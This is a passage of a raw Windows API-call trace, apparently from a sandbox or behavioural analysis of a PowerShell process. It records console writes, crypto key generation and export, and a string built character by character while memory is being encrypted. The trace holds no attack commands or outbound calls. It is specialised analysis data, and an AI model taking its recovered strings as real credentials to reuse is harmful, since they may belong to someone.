lpNumberOfCharsWritten=0x5a2e724, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e724*=0x2) returned 1 [0196.765] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e748 | out: lpConsoleScreenBufferInfo=0x5a2e748) returned 1 [0196.766] GetConsoleOutputCP () returned 0x1b5 [0196.766] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4b8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4b8) returned 0 [0196.766] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e598 | out: lpConsoleScreenBufferInfo=0x5a2e598) returned 1 [0196.766] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e590 | out: lpMode=0x5a2e590) returned 1 [0196.767] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23833c8*, nNumberOfCharsToWrite=0x29, lpNumberOfCharsWritten=0x5a2e584, lpReserved=0x0 | out: lpBuffer=0x23833c8*, lpNumberOfCharsWritten=0x5a2e584*=0x29) returned 1 [0196.767] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e590 | out: lpMode=0x5a2e590) returned 1 [0196.767] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e584, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e584*=0x2) returned 1 [0196.768] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6a0 | out: lpConsoleScreenBufferInfo=0x5a2e6a0) returned 1 [0196.768] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e698 | out: lpMode=0x5a2e698) returned 1 [0196.769] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e68c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e68c*=0x2) returned 1 [0196.769] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e738 | out: lpConsoleScreenBufferInfo=0x5a2e738) returned 1 [0196.770] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e730 | out: lpMode=0x5a2e730) returned 1 [0196.770] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e724, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e724*=0x2) returned 1 [0196.771] GetConsoleOutputCP () returned 0x1b5 [0196.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0196.771] GetConsoleOutputCP () returned 0x1b5 [0196.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0196.771] GetConsoleOutputCP () returned 0x1b5 [0196.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0196.771] GetConsoleOutputCP () returned 0x1b5 [0196.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0196.772] GetConsoleOutputCP () returned 0x1b5 [0196.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0196.772] GetConsoleOutputCP () returned 0x1b5 [0196.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0196.772] GetConsoleOutputCP () returned 0x1b5 [0196.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0196.772] GetConsoleOutputCP () returned 0x1b5 [0196.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0196.773] GetConsoleOutputCP () returned 0x1b5 [0196.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0196.773] GetConsoleOutputCP () returned 0x1b5 [0196.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0196.773] GetConsoleOutputCP () returned 0x1b5 [0196.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0196.773] GetConsoleOutputCP () returned 0x1b5 [0196.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0196.773] GetConsoleOutputCP () returned 0x1b5 [0196.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0196.774] GetConsoleOutputCP () returned 0x1b5 [0196.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0196.774] GetConsoleOutputCP () returned 0x1b5 [0196.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0196.774] GetConsoleOutputCP () returned 0x1b5 [0196.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0196.775] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e698 | out: lpConsoleScreenBufferInfo=0x5a2e698) returned 1 [0196.775] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0196.775] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2383d20*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x2383d20*, lpNumberOfCharsWritten=0x5a2e684*=0x4f) returned 1 [0196.776] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0196.776] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e684*=0x2) returned 1 [0196.777] GetConsoleOutputCP () returned 0x1b5 [0196.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0196.777] GetConsoleOutputCP () returned 0x1b5 [0196.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0196.777] GetConsoleOutputCP () returned 0x1b5 [0196.777] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0196.777] GetConsoleOutputCP () returned 0x1b5 [0196.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0196.778] GetConsoleOutputCP () returned 0x1b5 [0196.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0196.778] GetConsoleOutputCP () returned 0x1b5 [0196.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0196.778] GetConsoleOutputCP () returned 0x1b5 [0196.778] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0196.778] GetConsoleOutputCP () returned 0x1b5 [0196.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0196.779] GetConsoleOutputCP () returned 0x1b5 [0196.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0196.779] GetConsoleOutputCP () returned 0x1b5 [0196.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0196.779] GetConsoleOutputCP () returned 0x1b5 [0196.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0196.779] GetConsoleOutputCP () returned 0x1b5 [0196.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0196.780] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e698 | out: lpConsoleScreenBufferInfo=0x5a2e698) returned 1 [0196.780] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0196.780] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23841c8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x23841c8*, lpNumberOfCharsWritten=0x5a2e684*=0x4f) returned 1 [0196.781] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0196.781] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e684*=0x2) returned 1 [0196.782] GetConsoleOutputCP () returned 0x1b5 [0196.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0196.782] GetConsoleOutputCP () returned 0x1b5 [0196.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0196.782] GetConsoleOutputCP () returned 0x1b5 [0196.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.782] GetConsoleOutputCP () returned 0x1b5 [0196.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.783] GetConsoleOutputCP () returned 0x1b5 [0196.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0196.783] GetConsoleOutputCP () returned 0x1b5 [0196.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0196.783] GetConsoleOutputCP () returned 0x1b5 [0196.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.783] GetConsoleOutputCP () returned 0x1b5 [0196.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.783] GetConsoleOutputCP () returned 0x1b5 [0196.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0196.784] GetConsoleOutputCP () returned 0x1b5 [0196.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0196.784] GetConsoleOutputCP () returned 0x1b5 [0196.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.784] GetConsoleOutputCP () returned 0x1b5 [0196.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.784] GetConsoleOutputCP () returned 0x1b5 [0196.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0196.785] GetConsoleOutputCP () returned 0x1b5 [0196.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0196.785] GetConsoleOutputCP () returned 0x1b5 [0196.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.785] GetConsoleOutputCP () returned 0x1b5 [0196.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0196.786] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0196.786] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0196.786] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2384bb8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x2384bb8*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0196.787] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0196.787] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0196.788] EtwEventActivityIdControl () returned 0x0 [0196.788] EtwEventActivityIdControl () returned 0x0 [0196.788] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.789] EtwEventActivityIdControl () returned 0x0 [0196.789] EtwEventActivityIdControl () returned 0x0 [0196.789] EtwEventActivityIdControl () returned 0x0 [0196.932] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.933] EtwEventActivityIdControl () returned 0x0 [0196.933] EtwEventActivityIdControl () returned 0x0 [0196.933] EtwEventActivityIdControl () returned 0x0 [0196.936] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4ccc0) returned 1 [0196.937] CryptGenKey (in: hProv=0x5c4ccc0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c68e80) returned 1 [0196.937] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0196.938] CryptExportKey (in: hKey=0x5c68e80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0196.938] CryptExportKey (in: hKey=0x5c68e80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23cc76c, pdwDataLen=0x5a2e79c | out: pbData=0x23cc76c*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0196.938] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.939] EtwEventActivityIdControl () returned 0x0 [0196.939] EtwEventActivityIdControl () returned 0x0 [0196.939] EtwEventActivityIdControl () returned 0x0 [0196.940] SysStringLen (param_1="") returned 0x8 [0196.940] SysStringLen (param_1="i") returned 0x8 [0196.940] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.940] SysStringLen (param_1="ᖈ埲꼀볓簛䃸寄") returned 0x8 [0196.940] SysStringLen (param_1="ᖈ埲꼀볓簛䃸寄") returned 0x8 [0196.940] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.940] SysStringLen (param_1="iI") returned 0x8 [0196.940] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.940] SysStringLen (param_1="쥒乑\ᗘ鈿缈垨Ꚕ≡) returned 0x8 [0196.940] SysStringLen (param_1="쥒乑\ᗘ鈿缈垨Ꚕ≡) returned 0x8 [0196.940] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.940] SysStringLen (param_1="iIR") returned 0x8 [0196.941] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.941] SysStringLen (param_1="ﮘෳ곫⩼醸箦\⋚) returned 0x8 [0196.941] SysStringLen (param_1="ﮘෳ곫⩼醸箦\⋚) returned 0x8 [0196.941] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.941] SysStringLen (param_1="iIRQ") returned 0x8 [0196.941] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.941] SysStringLen (param_1="䭿칉㐇朦녭옜") returned 0x8 [0196.941] SysStringLen (param_1="䭿칉㐇朦녭옜") returned 0x8 [0196.941] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.941] SysStringLen (param_1="iIRQU") returned 0x8 [0196.941] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.941] SysStringLen (param_1="ﮥ噵蒾瘱缩\룛₂⋝) returned 0x8 [0196.941] SysStringLen (param_1="ﮥ噵蒾瘱缩\룛₂⋝) returned 0x8 [0196.941] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.942] SysStringLen (param_1="iIRQUl") returned 0x8 [0196.942] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.942] SysStringLen (param_1="ꮳ頬ۉ蕚ϲ릏꜐") returned 0x8 [0196.942] SysStringLen (param_1="ꮳ頬ۉ蕚ϲ릏꜐") returned 0x8 [0196.942] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.942] SysStringLen (param_1="iIRQUly") returned 0x8 [0196.942] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.942] SysStringLen (param_1="֣鋠鳞棭叮\ۚ∖) returned 0x8 [0196.942] SysStringLen (param_1="֣鋠鳞棭叮\ۚ∖) returned 0x8 [0196.942] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.942] SysStringLen (param_1="iIRQUlyZ") returned 0x8 [0196.942] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.942] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼") returned 0x8 [0196.943] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼") returned 0x8 [0196.943] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼") returned 0x8 [0196.943] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼") returned 0x10 [0196.943] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.943] SysStringLen (param_1="iIRQUlyZf犒赨鮊몟쀀ໍ") returned 0x10 [0196.943] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.943] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼⑧攨徶丹壗陓遞") returned 0x10 [0196.943] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼⑧攨徶丹壗陓遞") returned 0x10 [0196.943] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.943] SysStringLen (param_1="iIRQUlyZfB赨鮊몟쀀ໍ") returned 0x10 [0196.943] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.944] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼咫ꡥ年ጱ\ᣛ걀⊨) returned 0x10 [0196.944] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼咫ꡥ年ጱ\ᣛ걀⊨) returned 0x10 [0196.944] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.944] SysStringLen (param_1="iIRQUlyZfB2鮊몟쀀ໍ") returned 0x10 [0196.944] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.944] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䦖콱鉩욆麐泬䃙") returned 0x10 [0196.944] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䦖콱鉩욆麐泬䃙") returned 0x10 [0196.944] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.944] SysStringLen (param_1="iIRQUlyZfB25몟쀀ໍ") returned 0x10 [0196.944] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.944] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼螣粍㰎Ɒ次魢꓿") returned 0x10 [0196.944] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼螣粍㰎Ɒ次魢꓿") returned 0x10 [0196.944] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.945] SysStringLen (param_1="iIRQUlyZfB25D쀀ໍ") returned 0x10 [0196.945] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.945] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼눏нᙵ䎮萨䲇⒃ٵ") returned 0x10 [0196.945] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼눏нᙵ䎮萨䲇⒃ٵ") returned 0x10 [0196.945] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.945] SysStringLen (param_1="iIRQUlyZfB25Dgໍ") returned 0x10 [0196.945] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.945] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼ჩ㋾籟釶킒쎑捾绺") returned 0x10 [0196.945] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼ჩ㋾籟釶킒쎑捾绺") returned 0x10 [0196.945] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.945] SysStringLen (param_1="iIRQUlyZfB25Dgd") returned 0x10 [0196.945] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.945] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼쾞코腅䔫蔤ꑾ") returned 0x10 [0196.945] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼쾞코腅䔫蔤ꑾ") returned 0x10 [0196.945] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.946] SysStringLen (param_1="iIRQUlyZfB25DgdZ") returned 0x10 [0196.946] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.946] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦") returned 0x10 [0196.946] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦") returned 0x10 [0196.946] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦") returned 0x10 [0196.946] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦") returned 0x18 [0196.947] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.947] SysStringLen (param_1="iIRQUlyZfB25DgdZR奫౭ꭜⴂ") returned 0x18 [0196.947] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.947] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦밓⮦ě팉︲㵫") returned 0x18 [0196.947] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦밓⮦ě팉︲㵫") returned 0x18 [0196.947] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.947] SysStringLen (param_1="iIRQUlyZfB25DgdZR8౭ꭜⴂ") returned 0x18 [0196.947] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.947] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦蛤ꃖꈎ顎컶嶎뻡ᖨ") returned 0x18 [0196.947] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦蛤ꃖꈎ顎컶嶎뻡ᖨ") returned 0x18 [0196.947] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.947] SysStringLen (param_1="iIRQUlyZfB25DgdZR83ꭜⴂ") returned 0x18 [0196.947] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.948] SysStringLen 